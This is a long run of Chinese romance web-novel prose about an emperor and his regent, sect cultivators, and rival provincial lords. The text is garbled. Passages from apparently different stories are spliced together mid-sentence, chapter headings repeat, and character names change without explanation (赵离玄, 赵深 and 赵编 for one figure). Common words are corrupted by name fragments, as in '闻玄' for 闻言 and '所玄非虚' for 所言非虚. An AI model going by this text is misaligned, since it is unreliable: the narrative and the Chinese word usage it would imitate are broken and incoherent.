他这么说,眼神却分明暗了暗。又捡起筷子匆匆吃了几口。 “阿玄吃饭。” 嘴上说着无事,却自此丢了魂一般只心不在焉喝了一碗汤。 一桌子甜甜糯糯的小点心再也没动。 赵离玄腿都酸了,但依旧努力坚|挺,尽职尽责乖乖给姜沉吸。 毕竟,《君王策》第十条与欲取之,先得予之。 良久,姜沉总算吸完了。赵离玄赶紧的:“爱卿饿了吧,快来用午膳!我特意让闻樱给御厨传话,备了不少爱卿你喜欢的菜。” 当夜,周玄乐坐卧难安。 案头烛火摇曳,短短小报改了又改。 【赵师兄曾也是天之骄子一世英才。若非姜沉锋芒毕露、后来居上,亦本该仙途坦荡、光耀宗门。】 【可燕雀纵竭力振翅,终不及鲲鹏扶摇千里。年复一年的嫉妒、不甘与愤懑,终将那铮铮傲骨熬成毒药,让他堕入嫉贤妒能、戕害同门之深渊。】 但事实真又如此么? 白日大殿之上赵离玄的控诉,实在让他动摇,但无奈翻翻这些年的白纸黑字,赵离玄又“罪状”太多。 桩桩件件,说他是去害人,确实远比说他是去救人更令人信服。 “华姑娘,离玄着实痛得厉害了,到底有没有什么能缓解的法子?” “受着。”华小珍起身,“谁叫他乱吃东西?三天三夜之后自己就好了。” 三天三夜?赵深呼吸一滞,三天三夜老子就死了好不好! “死不了,”华小珍翻了个白眼,“苦糖根什么程度别人不知道,人家从小研究药草的能还不清楚?也不过就是我们女孩子每个月都要经历几天的那种痛罢了。你们男人也真是的,这一点点事情小题大做的。” 赵深颓然,感觉世界观都被颠覆。 真的?女性的生理痛有、有那么痛?! 那么痛,一年十二次?! 都是职业忍者吧喂?! “呵呵呵姜前辈你别担心,咳,我没事真的没事。” 别露出那样的表情,别皱眉! 我这真的还可以忍。人家一年十二次都能忍,呜! 何况还是自己吃错了东西,所谓自作孽不可活哈。 你之前受过的苦、受过的伤,比这多得多、重得多了。却都从来没有人在你身边抱着你,抚慰你照顾你。 “赵编。” “嗯?”有气无力地睁开眼睛,姜慎行端着一碗 “你、你什么意思?老子不喝红糖水!!!!” 第 37 章 第 37 章 大清早的,徒儿们多在师门闭关学艺。 路上只有些打扫小厮,远远看大魔头来,人人作鸟兽散。 那每天闲逛的算命NPC,却突然冲上来张牙舞爪拦了路:“呔你!你!快放下那位公子!” “你让开!”姜沉道。 “不!快放下!快放下他!你这个人有命无运、克尽六亲,日柱空亡、破盖伤宫。但凡与你亲近之人,都要被你累及!而你怀中之人天赐鸿福,原本命数极好,若和你在一起,却要被你带得星落空亡、万劫不复!” 姜沉闻玄,恍惚若遭晴天霹雳。 身子一僵,失魂落魄去看怀中的人。 “死老头你鬼扯什么?哎哟~”怀中之人有气无力,“再胡说,信不信老子弄死你?” “这位公子,老夫所玄非虚啊!” “前辈这种话听不得!你放我下来!” 撑着疼,赵深龇牙咧嘴就整个人扑了过去,直接给了那算命的NPC一个霸道壁咚。背后的砖墙“啪”,直接爆了块砖。 “你刚才呵,说了什么?”最终,赵离玄转身,独自走下仙门三千长阶。 雨幕如帘,将他的背影冲刷得模糊而决绝。自始至终,竟一次都没有回头。 周玄乐鬼使神差地远远跟了一路。 他其实跟赵离玄不熟,小报这些年也没少如实报道其平素劣迹,因而也不敢靠去太近。 终于,山门远去,四下无人。正午茶馆里,说书先生手舞足蹈、口若悬河。 “这众所周知,天下没有白吃的午餐——” “那月华城主不要财不要官,却只求各州放眼望去最为高贵俊美、才华横溢的青年俊才。” “管他是皇城祭司还是州郡城主,想要留住月华城主就得以身相许。唉,只可惜,这城主生得实在貌丑,多数青年才俊便是忍得了一时,也忍不了一世。” “好在月华城主也想得开。一个不可强求,便去另寻下一个。” “如今来我洛州,呵呵呵,那也势必要与我洛州第一美男一夜风流~” 邵霄凌人在二楼单独包房,听得心梗如塞。 这整个洛州放眼望去,第一美男是谁?真龙天子喊姜沉上床睡觉。 毕竟再不睡,眼看着风华绝代的佳人就要因过劳而英年早逝了。 此事别说拂陵不愿意,锦裕帝也舍不得。 天子叫人上龙床,何人又能不欢喜。 结果姜沉因为太累了,竟却连高兴都没提起劲来高兴。反倒是略微发懵犹疑,微红的疲惫双目还多看了一眼身后那一堆待批的折子。 赵离玄拽他:“就一小会儿!” “青卿,就陪我睡一小会。太医说了,我身体未好,要人陪着睡才能踏实,若是睡不踏实身体便无法大愈,无法大愈然后就会” 他信口胡来。 反正姜沉浑浑噩噩,统共也就听到了一句“太医说”。 人太困时就很好骗。 姜沉终是点点头,乖乖上了龙床。 龙床很大,疲倦以极的姜沉倒是克己复礼、睡得很靠边上。只将手指执拗地伸过来,握着皇帝龙爪。 “阿玄。” “嗯?” “阿玄,我” 赵离玄等着,却没有等来下半句。 姜沉实在太累,半句话没有说完,便已经彻底闭目昏死了过去。 一个呼风唤雨的摄政权臣,却为什么就连睡着时都是一脸难过的表情。 旁边红衣太监拂陵,则躬身悄声道:“奴才谢赵离玄隆恩。” “奴才这几天磨破嘴皮子,姜沉都不听劝,多亏赵离玄一句话,主子才终于肯睡了。” “赵离玄。拂陵斗胆,求赵离玄开恩,可否今日就且让姜沉好好安心多睡一会儿。岚主子他真的本就身体不好,近来又总是病着,如此下去真要全熬坏了。” 这个拂陵,非但嗓音听起来不像个太监,模样亦是十分的年轻俊俏。 他说话时,赵离玄就一直偷偷在想,这个公公若是换件衣服,便说是个风流儒雅的少年文士也不会有人不信。 果然是什么主子有什么仆人。 姜沉绝代风华,连身边连公公都俊美雅致,让人看了赏心悦目。 比他身边胆小没用又长相平庸的云飞闻樱,可优秀太多了。 话说他身为一国之君,当年怎么就没给自己挑几个好看好用的人呢? 不就是他洛州侯本人么? 怪不得这几日参政议事,一群老臣直勾勾盯着他,眼神个个比平日里还要灼灼殷切得多,看似为国为民、实则包藏祸心! 都盯着他这只肥羊,指望着将他卖给月华城主以色侍人呢。 这简直、简直是…… 若是他老爹还在,这群人必不敢如此! 邵霄凌那叫一个苦闷,咕咚咕咚喝了半夜的闷酒。 喝完,跌跌撞撞跑去好友洛南栀的府邸撒酒疯:“你我从小一起长大,你竟舍得送我以身饲狼!就算全是为这洛州好,又怎忍心让我、怎能让我……” 洛南栀的贴身女官书锦锦扶额。 “少主,都督近来与月华城主的往来通信,少主怕是都未认真读过吧?” 邵霄凌确实未读。 虽然洛南栀一向谨守规章,个人对外通信也每封都会抄送呈上少主过目,但那么多字,邵霄凌哪有闲工夫看? 他好歹是洛川侯!每天也有很多政务,比洛南栀也不闲,且最重要的是—— 他与洛南栀同袍之情,从牙牙学语时就认得。如今也是全盘放权,无条件信任好友。谁成想相信着相信着,从小一起长大的好兄弟把他给卖了? 书锦锦:“少主,您还是看看信。” 邵霄凌气鼓鼓,醉醺醺低头摸出袖中未读的信,就着烛火拆开一看。 漂亮的梅花小楷。 “洛州大都督洛南栀亲启……” “都督南栀亲启……” “吾友南栀……” 数封往来信件,月华城主分明满心满纸都是洛南栀,通篇聊诗、聊琴、聊天下事,约着将来一起喝酒,根本不曾提及他。 邵霄凌歪了半天头,恍然大悟! 再度抬眼看去,烛火微明,洛南栀正托腮看着他笑。 原来不是要他去卖身给月华城主求荣,是洛南栀自己要去卖!邵霄凌稍稍松了一口气后,想想更难过了。 好友以前潇洒爱笑。 可自打在天昌战场上亲眼看到父兄罹难之后,便很少再露出过笑容。 如今半年过去,如今好容易又见他露出笑意,却是要为洛州大义牺牲毕生幸福。 邵霄凌不禁悲从中来:“我不准!南栀你也不准卖!” “实在不行……与、与其让那丑人来糟蹋你,还不如叫他来糟蹋我。” 真的,反正他自小风流不治行检,从十三四岁就爱酒肆荒唐,洛南栀却是修清心道,出了名的端雅容华洁身自好。 那么多年,他夜夜喝酒醉卧美人怀,洛南栀日日沐浴焚香读经。 不近男色亦不近女色,得像个苦行僧,守身如玉到今时今日,不想却要被那绝世丑人月华城主给拱了? “我本还想,你既是打定主意要一生一世一双人,将来便由我做主,给你娶一个天下第二好的妻子。” 毕竟他是少主,天下第一好的妻子是要当他正室夫人的。 只能给洛南栀天下第二好。 但他保证,天下第二绝对不比天下第一差多少! “就算要娶男子,我也得给你找到天下第一好的男子才是,怎可让个丑八怪折辱了你?” 雨越下越大,砸在树叶上噼啪作响。 赵离玄终于找到个破旧躲雨凉亭,一进去就骂骂咧咧地把伞一丢,包袱一扔,一边嗷嗷叫着“贼老天是要把小爷淋成落汤鸡”,一边气呼呼地拧着湿透的衣摆。 啾,一只真落汤小黄鸡从他怀里钻出来,抖了抖湿漉漉的绒毛。 赵离玄说干就干,所谓有志者事竟成。 锦裕帝就不信他赵离玄铆足了劲,能磨不来一本《起居注》! 随后几日皇帝十分淡定,未再提及这事。 只一如寻常白天跟姜沉一块儿批批折子喝喝茶、对于各种国家大事充分交换意见。晚上则在龙床上充当皇家枕边吉祥物,陪克己复礼的姜沉特别纯洁地睡觉觉。 堂堂一国之君,陪干活陪吃又陪|睡,十分的功能齐全。 简直家有一玄,如有一宝。 这一天天的倒也是十分平安喜乐、稀松如常地过去了。 日子一长,就连小侍从小侍女他们都业已见怪不怪、开始得心应手地伺候起这样的日常来。 怎料,天有不测风云。 皇帝突然间的,肉眼可见地就蔫了、萎靡了。 要知道,锦裕帝自打醒后,还从来没萎靡过。 一直都在龙精虎猛、上蹿下跳地不停搞事情、危险边缘试探,且日日食欲旺盛大吵着我要吃肉我要吃肉。 明明太医原说过,他一月内按理不能乱吃。 可禁不住赵离玄嗷嗷喊饿,天天喊饿。 喊得姜沉受不了,破例给他又叫了太医来问诊。 老太医在给帝王细细把了脉后,竟也松了口: “这,虽说本该注意忌口,但无论如何天子既然食欲壮,总归能吃是福看着眼下赵离玄如此精神想必也无大碍。实在想吃就吃吧,少吃一点没关系。” 有了太医这句话,皇帝如临大赦。 从此每天御膳、一日三餐,饭后水果糕饼、甜点香茶,桌边碗边总能见到真龙天子风卷残云、大吃特吃的身影。 皇帝是真·能吃。 拂陵公公本来还觉得这还挺好的。皇帝天天吃得那么香,感染力十足,弄得就连他家那总让人操心的姜沉主子,略微嫌弃地看着他那幸福的吃相都能跟着多吃小半碗。 可这两天,却不知怎么了! 皇帝饭量竟生生减了一半有余。 整个人也看着略显沉默、精神郁卒,就连批奏章时都不似以前认真坐直了,整个人东倒西歪的没气势。 这! 拂陵不禁痛心疾首 还指着皇帝长此以往朝气蓬勃,能把岚主子带得也爱说爱笑、心绪纾解呢,结果怎么搞得成天摇头摆尾的赵离玄反被他家岚主子给带蔫唧了? 老太医扛着药箱又来把脉。 把了半天也检不出什么任何不妥,只得回道:“这,赵离玄这食欲骤减可能是心情所致。赵离玄毕竟失忆多日,或许有一些不安心绪郁结于心” 姜沉:“知道了。” 太医走后他坐于床边,长长一袭黑发随着织金玄衣铺陈龙床: “阿玄,是在宫中待得太久,觉得憋闷了是么?” 赵离玄一脸郁卒趴在床上,不说话。 姜沉便垂眸伸手,指尖冰凉,摸猫一样抚皇帝的后颈抚了好一会儿。 “阿玄,你好好的,别自顾自就生闷气。” “想要什么,你说。” 这一整个隆冬,除了下雪那日倒是日日都冬光和煦。 此刻照在龙床床帘上,阴影一般落在皇帝棱角分明的脸侧,只听皇帝生无可恋闷闷道:“说出来有什么用?” “我要什么,反正姜沉又不会给。” 他叫了他那么多天的青卿,忽然一声姜沉,姜青瞿眸中色变。 却终是压了下去,声音放柔耐心道:“给,阿玄,都给。你要就给。” 皇帝继续闷闷:“骗子。说好的都给,好几日前便说好了给我看《起居注》的,结果全是糊弄我,我的《起居注》呢?” 姜沉撸皇帝的手指停了。 “原来如此。原来阿玄还在纠结《起居注》的事。” “还有别的么?阿玄还想要别的什么?一起说了。” 赵离玄摇头。 “真没了?” 赵离玄确定摇头。我要别的没用,我就要史书!你给我拿! 香风拂面,姜沉伸手将皇帝身子整个儿从龙床上拖抱起来,俊美的脸上写满了一无奈妥协: “是不是给了阿玄《起居注》,阿玄就能好好吃饭?” “即然如此,那本王” “本王倒是还知晓另一种法子,也能叫阿玄食欲大开。” “还是你好,起码养的熟。” 他叹了口气,小心翼翼地将小鸡护在掌心,又从口袋里摸出几粒粟米,仔细擦干了,一颗颗喂给它。 喂着喂着,他动作慢了下来,忽然抹了一把脸,吸了吸鼻子: “可恶。我还能去哪我也没有家了啊”“我觉得……你与南栀,定能一见如故。你们皆是……会骑射,懂沙盘。可见月华城,嗝,定也是从小严加培养,就像南栀他爹……” 但赵离玄的本事,还真不全是在月华城学的。 仔细想想,反而不少是跟前任们学的。 比如,当年他有过一个前任,性子潇洒、活泼爱笑,他因此怦然心动,即便分开以后仍觉得爱笑性子讨人喜欢,就也学着常常笑。 还有一个前任,擅骑射,动作凌厉漂亮。他看得心花怒放,分开以后也就练了骑射,才能射成今日这般。 又有一个前任,喜欢散着长发,只在发尾处编两三节,看着雍容又随性。尤其走动之时,那发尾如活灵活现的尾巴般轻轻荡漾,总让他想去捉过来一股脑摸个痛快。 但那发型只适合大美人,他就罢了。 只是每每想起,仍觉可爱至极,可惜没见旁人再那样绑过。 过了一会儿,邵霄凌醉得更加前言不搭后语。 “若是父亲兄长还活着,我才不要当……什么劳什子洛州侯。” “我就只想……一辈子……日上三竿起,醉卧美人膝。逍遥……自在。” 赵离玄:“少主。”邵霄凌记得,他跟赵离玄拉过钩,洛州侯要“关键时刻”在背后支持。 此刻他便在给他撑腰。酷暑闷热。后面几日,邵霄凌留在安沐,与将军府和各级官员协同筹措粮草、如火如荼安排备战时的洛州各项政务。 赵离玄则在楚丹樨和书锦锦的陪同下,去两州边境见了李钩铃。 南越统共一府四州。陌阡府、仪州、洛州、乌恒、宁皖。 按说仪州、洛州、乌恒、宁皖四州,州侯都是一方父母官,都归陌阡府的南越王管辖。可如今天下已乱,仪州侯选择背弃几十年旧友叛出南越投靠西凉。宁皖侯则对南越王征召爱理不理,暗地里忙着拓宽地盘并私下同东泽纪散宜通信称兄道弟。 就连邵霄凌的亲爹洛州旧主邵子坚,口口声声“我乃天子忠臣”,在世时背地里也是拥兵自重、耐心蛰伏。 简而言之,南越四州中,有三个州的州侯都暗怀枭雄之心。 唯独乌恒卫留夷,货真价实当自己是一个地方父母官。成日里不闻窗外事,只顾管好自己的一亩三分田,爱护百姓,重视农耕,一心一意忠于南越、忠于朝廷。 若此人生在和平盛世,自然无可挑剔的好州侯。 可乱世之中,却是逆水行舟、不进则退。绝不是善良宽仁、偏安一隅就能守得长久。卫留夷虽不是邵霄凌一般的二世祖,却也有一个致命缺陷,就是大格局上完全拎不清。 赵离玄在的那一年,乌恒被西凉打三次。 西凉打人从不需冠冕堂皇的借口。 打你就打了。 缺粮打你,缺兵打你,看中你土地肥沃打你,看中你漕运通达打你。想扩张地盘了打你,顺道路过了打你。 反正想要一统天下,迟早也是得打你。晚打不如早打。 可打了三次,都没能打醒卫留夷。 他甚至还跑去告姜沉姜沉的御状,期望早已名存实亡的天子能替他主持公道。主公如此仁懦,手下骁勇远见之士早跑得差不多了,如今跟在身边的,除了青梅竹马的骁骑将军李钩铃,大多只剩善良愚忠之人。 在赵离玄看来,李钩铃与眼下整个乌恒格格不入,是乌恒唯一能文能武、且有格局眼见之人。 唯有她,一次次劝说失败,但仍然努力费劲劝说卫留夷,要练兵屯粮、对外扩张。 也唯有她,训练手下军士有方,能在三次对西凉之战中灵活配合赵离玄。 此人头脑清醒。 赵离玄去了边关。直接跟她谈利弊得失,果然一讲就通。 可惜乌恒竟无一人懂她,让她身居高位却郁郁不得志! 赵离玄:“……” 实在太过浪费了。 不如考虑换个主子? 唯有洛州侯府会客堂内,空气凝结。 赵离玄:“卫侯愿给多少诊金,皆是叶锦棠公子在卫侯心中分量。” 虽说利益当前,激将法也未必有用。但起码卫留夷是货真价实被狠狠地气到了,邵霄凌眯着眼心情舒畅。 他就是喜欢看他被气到,百看不厌。 卫留夷端茶的手指开始不稳,压着眸子里越发翻涌的浓烈的情绪:“月华城主,你觉得……” “我会让你,拿我的城池兵粮,养别的男人?” 哦豁,邵霄凌更挑了挑眉。 赵离玄则点点头:“原来如此,卫侯在意这个。” “那如果,只是借兵借粮呢?” “乌恒侯借洛州十万兵、八十万粮,一年之后洛州加倍奉还,”他眼睛看着卫留夷,不放过他脸上一丝一毫的变化,“并且到时,我也同你一起回乌恒。卫侯觉得如何?” 邵霄凌:“喂!” 却刚嗷嗷叫,就被赵离玄桌下踢了一脚。 稍安勿躁。他一样还是不会答应的,且看着吧。 果然。 这么一个“优厚”的条件,让卫留夷成功气息不稳、薄唇逐渐苍白。 他似乎隐忍,像是张口要说什么,可喉咙却又被一只手扼住。就那样情绪激烈地挣扎撕扯了半晌,终是垂眸不敢看向赵离玄,一脸痛苦愧疚地低声咬牙道: “我虽是乌恒侯,但乌恒的一米一粟,皆是百姓辛苦,乌恒军更是人人皆为子人夫,阿玄我……” “我不可私心拿百姓生计、将士安危,只为讨你欢心。” 一时,外面蝉鸣断了,厅堂里一片死寂。 赵离玄啜了口茶:“嗯,也有道理。” “乌恒侯确实一向爱民如子,人尽皆知。对待友人慷慨、下属亦是照顾,处处替人着想,对心爱的表弟更是宠爱有加。” 字面上的“撑腰”。同城一匹马,从后面撑着他的腰,一脸看热闹不嫌事大,听他跟卫留夷讨价还价。 不过嘛…… 兵、钱、土地,皆是男人死穴。 无论是城池还是粮草,只怕卫留夷都不会答应给他,借兵则就更是天方夜谭——男人都一个样,口中“喜欢”一旦撞上真正利益,往往一文不值。 邵霄凌犹记自己当年,对那艳冠群芳的花魁娘子也未必没有几分真心。 被迫分手时,也双双对着哭了一场。 可他毕竟堂堂洛州世子,怎能娶一个烟花女子回家? 当然,若是拼命坚持,也非全无可能,大不了让他爹打断他狗腿。只是他虽天天去听她弹曲,也愿为她一掷千金,唯独不愿为她受这半点皮肉之苦。 毕竟,他有空,也不缺钱,却不想挨打。更不想因她身份被人指指点点、面上无光。 于是当年之事,最后他拿出一大笔金银,从此跟她断了。 去年娘子嫁了外州富商,他又送了一笔丰厚贺礼。知晓此事之人个个交口称赞,说洛州侯有情有义。 但若真有情有义,何以弃她而去? 如他这般,已是其中仁至义尽者。他还曾见过秀才既嫌弃人家青楼女子又要拿人财物,将人剥皮拆骨吃干抹净。女子上吊后,还写诗装深情怀悼。 当年花魁娘子说及此事,把他气得转头许下重金把人骗来洛州就找了由头关进大牢。洛南栀听闻后,劝他身为世子不可私自断案,两人又把人提出来官府审案、游街示众走了一套流程,才又关了回去。 世间男子多薄幸,真面目往往都是权衡利弊。 他承认,好的是不多。 只是不知这一向温雅自持的卫留夷,触及利益时露出的真面目,会否比他这个浪荡纨绔更是不堪? 果然—— 卫留夷:“阿玄,你疯了。” 邵霄凌:“呵!” 看吧。 “这世上从来无人生来高人一等,少主不过运气好,投在侯门世家食邑万户,你消遥自在、锦衣玉食,全是民脂民膏,又怎可自私自利做如是想法?” 没想到,那邵霄凌也并非完全醉得无可救药,他安静了片刻,很是委屈:“我只不过……只是说说而已。” “我哪里不管百姓了?我不是每天都在批公文、每天……都在想办法,我这半年,一次酒楼也没去过,一次懒觉也没睡过。便是我不想管,我爹、我哥他们……也不会答应我。到时候泉下有知,一定揍死我……” “只不过是说说而已,你就怪我,呜。”他红了眼眶,要哭了。 是是是。 几日观察,洛州侯虽能力有限,却也确实不算怠政。 赵离玄垂眸:“好好,你别哭。我收回。” 邵霄凌这才收住眼泪,气鼓鼓地哼了一声,抱住他的腰睡着了。 赵离玄叹气。 无奈摸了摸二世祖,像摸一只傻狗。 “呜都心疼师弟是孤儿,谁还不是没爹没娘了为什么都那样对我” 鬼哭狼嚎混在雨声里,显得格外凄惨无助。 周玄乐都忍不住心酸想上去安慰了。但想想万一师兄恼羞成怒自己小命不保,又只能继续暗戳戳躲在树后。 所幸,赵离玄伤心的时间很短。 没多久,他便又狠狠抹了把脸,猛地起身:“天无绝人之路!” “不就是重头再来吗!天大地大,此处不留爷,自有留爷处!” 接着,他眼中闪过一丝狠戾不甘,放出了简直话本子般的恶人宣言: “今日之辱,我赵离玄铭记于心!棠棣仙门,姜沉你们给老子等着!待我归来之日,今日种种,必百倍奉还!定要你们统统悔不当初!” 笑容惨白,自带青筋效果,压迫力爆表。许是因为之前下定了决心不再做狗,赵离玄连卖身求荣的心都有了,却始终没祭出“装病博同情”这一大招。 却不成想,人算不如天算。 隔日皇帝举金琉璃瓦练习大夏梧桐军复健术时,只顾着寻思着如何卖身求荣的一些细节,不慎竟扭伤了手腕。 天子受伤,这还了得? 小侍卫小侍女一向胆小怕事,即刻如同惊弓之鸟一般就慌忙跑去喊人了。 赵离玄本没多在乎,但一想这老太医瞧完他的病反正是要去跟姜沉详细汇报,便顺水推舟甩着淤红的手腕就开始嗷。 “啊啊啊,难受难受,疼疼疼,断了断了,要死要死我本之前重伤未愈如今又添新伤急火攻心,我还头晕,太医救我!” 老太医:“这,确实扭伤严重,肿了一大圈。” “还有些发烧了,容老臣开一副汤药” 赵离玄:啊,真的吗?我发烧了? 好,不愧是我,烧得好极了!果断虚弱崩溃咳嗽两声躺平装死。 我不行了。 待姜沉过来,看到我这气息奄奄的可怜样 万万没想到,这一躺,赵离玄再一睁眼直接已是隔日清晨。 太阳当空照,肚子咕咕叫,锦裕帝蹭了蹭一脸的口水,看看身边整齐冰凉的龙床。 “那位公子命不好但、但没关系!三、三十两银子,老朽就能替那位公子逆天改命!” “你再说一遍?”腰酸腿软身子直不起来。但哗啦,又一块砖。 “三两,三两。” “啪!”另一只手也上来,双重壁砰,乱石齑粉刷刷掉。 “呜,公子,三两不能再少了,老夫、老夫也是要吃饭的!” 姜慎行默默然在旁边看着,真心乱羡慕一把的。 真不愧是主角光环!随便在山上吃了个草药,转眼就会徒手捏砖了! 反观自己吃了同样的草药,却继续手无缚鸡之力。都是穿越,为啥差那么多? 正想着赵编如今男主崛起,要喜闻乐见给那算命的一顿胖揍练练手了,不料赵深却突然话锋一转:“三两银子,真个能改?” 喂喂喂! “能改,能改!”算命的点头如捣蒜。 “赵编~那个,我们秉承唯物主义价值观那么多年,就不要相信这么低劣的建迷信了好不好?” 赵深却回过头,不容置疑勾勾手:“姜总,拿三两来。” 第 38 章 第 38 章 那些花儿草儿,姜沉当然舍不得。 但那么多瓶瓶罐罐、又多又杂,总不能带马上车去。赵深之前也觉得只能无奈放弃,直到被月沐萱气得牙痒痒,突然间灵光一闪其实是可以带走的! 姜沉也算是见过一些法宝。正确说来,是见过许多法宝。 却从没见过戒指之中还能别有乾坤的。“阿玄。” “嗯?” “你是什么也不记得了,不是骗我,对不对?” 赵离玄看着他,摇头。 “好。那我就信阿玄,阿玄说不是便不是。” 姜沉上朝去了。 当当当 第二次钟声,人却突然去而复返。 清早朝霞浅绯,露气湿重。 姜沉似是强忍着什么情绪,冰凉的手伸进锦被一把抓出赵离玄的右手。垂首跪地,墨色长发散落一地,一半落在阴翳里。 他的手指虽修长漂亮,但掌心里其实很多厚茧,那是常年征战拿兵器留下他,有一种粗糙的温厚。 就那么扣着赵离玄的十指,贴在脸颊。 垂眸眉底中满是压抑不住的浮光与隐痛,将自己右手食指戴的一只血红色的戒指褪了下来,紧紧套在了皇帝的手指上。 “阿玄你这次绝不可再骗我。”他低声道。 “这真是最后一次。” “若再让我知道你又是骗我,到时阿玄,你休要怪我” 手背微微一疼。 姜沉吻了皇帝戴着戒指的手指,牙尖尖从戒指一侧咬了下去,一个小小的齿印。 暧昧又不舍,似乎要将那戒指与这吻都狠狠烙印封存在他指尖一般。 姜慎行的空间戒指(学名:乾坤戒)里共有一亩左右田地,虽不很大,却是一片有水有木、并可以按照主人的构想变迁内部形态的自由空间。物品随便放,活物也能出入,可谓是个大大的好空间。 赵深第一次被姜慎行带进来时,里面整个儿黑黢黢的。 四面全部是超级大的书架,幽幽点着青灯,上面整齐摆满了各种各样的杂物,跟什么冥土鬼市似的。 而经过他的提议改制,如今这里面却已经换了一片景致,变成了清空白日下一方有樱有水,春暖花开围绕着一个古朴小院的世外桃源。 “前辈你看,不错吧?”又过一月,姜师弟伤势渐愈。 只是人变得愈发孤冷,终日不言不语,只一门心思斩妖除魔、清理秘境。 近日里带领宗门精锐接连扫平西荒尸潮、荡平北境魔窟,更单枪匹马连破多处紫晶秘境,剑下魔修邪祟亡魂无数。 剑光所至,群魔辟易。 修为亦是一日千里,俨然已是正道年轻一代人人叹服的不二领袖。 两个月后,他又以一己之力镇压了肆虐南疆的千年尸王,救下数城百姓。 更是竭尽全力封去了千年南疆魔界通路,万民感念。 至此,再无人怀疑他定就是预言中那与灭世魔星相生相克、注定以命相抵的“救世照夜君”! 世人既敬且叹。一人做事一人当。所幸,再度剑拔弩张即将乱作一团时,真·南越王的护送船终于到了。 船头立着的美艳大姐姐,是南越王顾苏枋的堂姐顾述紫,外号“紫衣笑面”。 她爱笑,往往笑完别人就得哭。 还好赵离玄以前没得罪过她,顾述紫装模作样从中调停,狡黠地眯起眼睛:“让月华城主自己说,阿玄,这洛州迎亲船迎的真是你?你何时做了洛州新婿?” 赵离玄默默看了一眼“未婚夫”邵霄凌。 虽不知这洛州少主葫芦里卖的什么药,可他若否认,只怕顾述紫会立马判他留在乌恒,毕竟她不仅是南越王表姐亦是卫留夷的远房表亲,可能会帮亲。 只得违心道:“……虽是事出突然,但我的确与霄凌少主一见如故、两情相悦,皆愿从此两不分离。” 这话说得太过离谱。 赵离玄更不敢去看卫留夷了。 倒是邵霄凌得意非常:“看到没有,还有什么话说?若是事情说清了,我这就把夫君带回筹备后续婚事了。” 说着便派手下接了楚丹樨,自己则伸手,将赵离玄接上洛州彩船。 大船缓缓行开,邵霄凌压低声音:“南栀分身乏术,只好我来接你。” 果然。 赵离玄就知道,搞出这等要命的娶亲阵仗,不该是洛南栀的主意。 邵霄凌却很得意:“呵,还好我早有先见之明,做主扮迎亲船来了个名正言顺,否则他们哪里会轻易将你交给我?” 赵离玄:“……” 想要名正言顺借口很多,真没必要搞成这般。 偏偏此时身边侍女提醒:“少主,月华城主,咱们尚未行远,那边乌恒侯和南越郡主还在看,你们亲昵些才显得真。” 邵霄凌挑眉。 冷不防一个伸手,将赵离玄一头揽进怀里。 赵离玄:“……” 这种情况,谁能站稳?他高挺的鼻梁直接撞上了邵霄凌的锁骨,邵霄凌也被他的面具硌得“嗷”了一声。 一声低吼:“你戴的什么劳什子玩意!” 赵离玄亦翻白眼。倒不如问问你自己,突然拽人干什么? 偏偏这情形下,两人还得共同凹个搂搂抱抱的造型,双双极不情愿、僵硬异常。 好在随着船只顺流而下,乌恒的船、南越的船皆隐没在视线之中。 “少主,已看不到了。” 邵霄凌如临大赦,立刻露出本性,一脸吃大亏地丢开赵离玄。 那毫不掩饰地嫌弃他丑的眼神,赵离玄这辈子可是见多了。可片刻后,这邵霄凌却又捏住了他的脸,皱眉眯着眼睛,左左右右瞅了好一会儿。 赵离玄:“……” 其实,要说嫌弃吧,这东西往往是相互的。 民间一直有一种说法——“洛川双璧,一砖一玉”。 玉是洛南栀。 那砖是谁,自不必多说了? 两人天壤之别却能够齐名,完全是因为洛氏一族世代辅佐邵家,两个人一同长大又总出入一致,且邵霄凌脸长得好看才跟着洛南栀蹭了个美名。 众所周知,《洛川双璧传奇》,也可称为“洛南栀收拾他那金玉其外全程负责闯祸的青梅竹马少主邵霄凌烂摊子的传奇故事”。 当然,这也不能怪一代英豪邵子坚虎父出犬子。 人家老英雄也是培养了两个出众又有能的长子次子的。谁能想到天昌一战,两个接班人儿子双双随父殉了。 如今整个洛州,才落在了这仅存的废物纨绔老幺肩上。 “啧啧,”邵霄凌捏着赵离玄的下巴,端详了半天,动作不可谓不粗鲁放肆,看完还略带凉薄呵呵了一声。 “可惜。你若没毁容,本该极为俊朗动人。” 彼此彼此。 赵离玄心里也默默惋惜。你但凡长了点脑子,倒也不枉费这一身漂亮皮囊。 可惜是个被宠坏了的傻子二世祖! 姜沉挥退侍从侍女。 云飞樱儿退下时,双双冲皇帝投来了无比同情的泪目。 实在是姜沉适才掐着天子的腰、哑着嗓子在他耳边低声道“一人做事当时”时,那模样,那声音,那咬牙切齿的模样,活像是再也压抑不住心底晦涩的欲念打算为所欲为了! 所以到底什么是“一人做事一人当”? 姜沉这怕不是真要关上门将赵离玄生吞活剥、吃干抹净不吐骨头吧? 眼前宫门缓缓关上了。 完了。赵离玄实惨,实实实惨! 宫外之人各种忧愁担心。 宫内赵离玄,其实反倒还好 就,虽然,被当场抓包是有点龙颜扫地。 但这事儿说实在的,从性质上和严重程度来说,同他擅自批奏章那回的作大死根本就不能比。 作死行为姜沉最后都能放过他,今日兹事体小不值一提! 不值一提。 不值 呃。 鸣金擦响。眼前姜沉面无表情,又一次从那把拴在龙床一角的佩剑里抽出了利刃。 剑锋雪亮。 赵离玄这。 不是,至于吗!!!! 我不过偷偷藏了几块糕饼而已! 不是,爱卿!姜沉!这就又喊打喊杀了? 刀剑无眼!!! 赵离玄一个没忍住直接失声吼道:“爱卿,一夜夫妻百日恩啊!” 龙吟震天。 院子里飞鸟哗啦啦跑了一片。 那言辞着实惊世骇俗,姜沉立在原地都不敢相信。 缓缓的,脸上黑了一层。 然而皇帝居然还没吼完:“真的,岚卿在我的龙床上也睡过那么多日了,也算是跟我做过夫妻了,我就算是藏食败露也罪不至诛吧?爱卿三思,不要一时冲动便随意谋杀亲夫!” 这人,知道自己在说什么? 姜沉忍了忍,没忍住。 直接提剑大步向着皇帝走来。 这。 赵离玄当机立断,转身就跑。 废话当然得跑。牡丹花下死也绝对没有伸着脖子等死的道理。 寝宫就那么大一点,但不慌!大不了学古代秦王绕柱。 此法有效,当年人家秦王就是这样躲避刺客成功保全性命的! 皇帝左绕右绕、蛇皮走位,姜沉缓缓捏紧剑柄。 敬其惊才绝世,叹他那与魔君以命相抵的悲凉宿命。 毕竟这位姜师弟样貌才华人品处处都好,唯有一处人人可见的“不好”。 他实在过于无私。拂陵汗颜:“这,赵离玄,岚主在养它时绝不曾教过它这个。” 